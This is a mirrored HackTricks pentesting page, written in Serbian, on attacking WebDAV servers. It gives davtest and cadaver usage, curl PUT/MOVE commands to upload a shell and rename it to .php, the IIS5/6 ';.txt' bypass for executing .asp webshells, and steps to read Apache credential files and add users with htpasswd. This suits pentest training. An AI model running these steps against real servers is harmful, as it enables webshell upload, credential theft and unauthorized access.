mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.6 KiB
Markdown
83 lines
3.6 KiB
Markdown
# WebDav
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Kada se radi sa **HTTP serverom sa omogućеним WebDav**, moguće je **manipulisati datotekama** ako imate prave **akreditive**, obično proverene putem **HTTP Basic Authentication**. Sticanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**.
|
||
|
||
Pristup WebDav serveru obično zahteva **važeće akreditive**, pri čemu je [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) uobičajena metoda za njihovo sticanje.
|
||
|
||
Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete:
|
||
|
||
- **Upload** datoteka sa **izvršnim ekstenzijama** direktno ako nije ograničeno.
|
||
- **Preimenujte** uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju.
|
||
- **Kopirajte** uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna.
|
||
|
||
## DavTest
|
||
|
||
**Davtest** pokušava da **uploaduje nekoliko datoteka sa različitim ekstenzijama** i **proverava** da li je ekstenzija **izvršena**:
|
||
```bash
|
||
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
||
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
||
```
|
||
.png>)
|
||
|
||
To ne znači da se **.txt** i **.html ekstenzije izvršavaju**. To znači da možete **pristupiti ovim datotekama** putem veba.
|
||
|
||
## Cadaver
|
||
|
||
Možete koristiti ovaj alat da **se povežete na WebDav** server i izvršite radnje (kao što su **upload**, **move** ili **delete**) **ručno**.
|
||
```
|
||
cadaver <IP>
|
||
```
|
||
## PUT zahtev
|
||
```
|
||
curl -T 'shell.txt' 'http://$ip'
|
||
```
|
||
## MOVE zahtev
|
||
```bash
|
||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||
```
|
||
## IIS5/6 WebDav ranjivost
|
||
|
||
Ova ranjivost je veoma zanimljiva. **WebDav** **ne dozvoljava** **upload** ili **preimenovanje** fajlova sa ekstenzijom **.asp**. Ali možete **obići** ovo **dodajući** na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**).
|
||
|
||
Zatim možete **upload** vašu shell kao ".**txt" fajl** i **kopirati/premestiti** ga u ".asp;.txt" fajl. Pristupajući tom fajlu preko web servera, biće **izvršen** (cadaver će reći da akcija premestanja nije uspela, ali jeste).
|
||
|
||
.png>)
|
||
|
||
## Post akreditivi
|
||
|
||
Ako je Webdav koristio Apache server, trebali biste pogledati konfigurirane sajtove u Apache-u. Obično:\
|
||
_**/etc/apache2/sites-enabled/000-default**_
|
||
|
||
Unutra možete pronaći nešto poput:
|
||
```
|
||
ServerAdmin webmaster@localhost
|
||
Alias /webdav /var/www/webdav
|
||
<Directory /var/www/webdav>
|
||
DAV On
|
||
AuthType Digest
|
||
AuthName "webdav"
|
||
AuthUserFile /etc/apache2/users.password
|
||
Require valid-user
|
||
```
|
||
Kao što možete videti, postoje datoteke sa važećim **credentials** za **webdav** server:
|
||
```
|
||
/etc/apache2/users.password
|
||
```
|
||
Unutar ovog tipa datoteka naći ćete **korisničko ime** i **hash** lozinke. To su akreditivi koje webdav server koristi za autentifikaciju korisnika.
|
||
|
||
Možete pokušati da ih **provalite**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** **webdav** serveru:
|
||
```bash
|
||
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
||
```
|
||
Da biste proverili da li nove kredencijale rade, možete uraditi:
|
||
```bash
|
||
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
||
```
|
||
## Reference
|
||
|
||
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|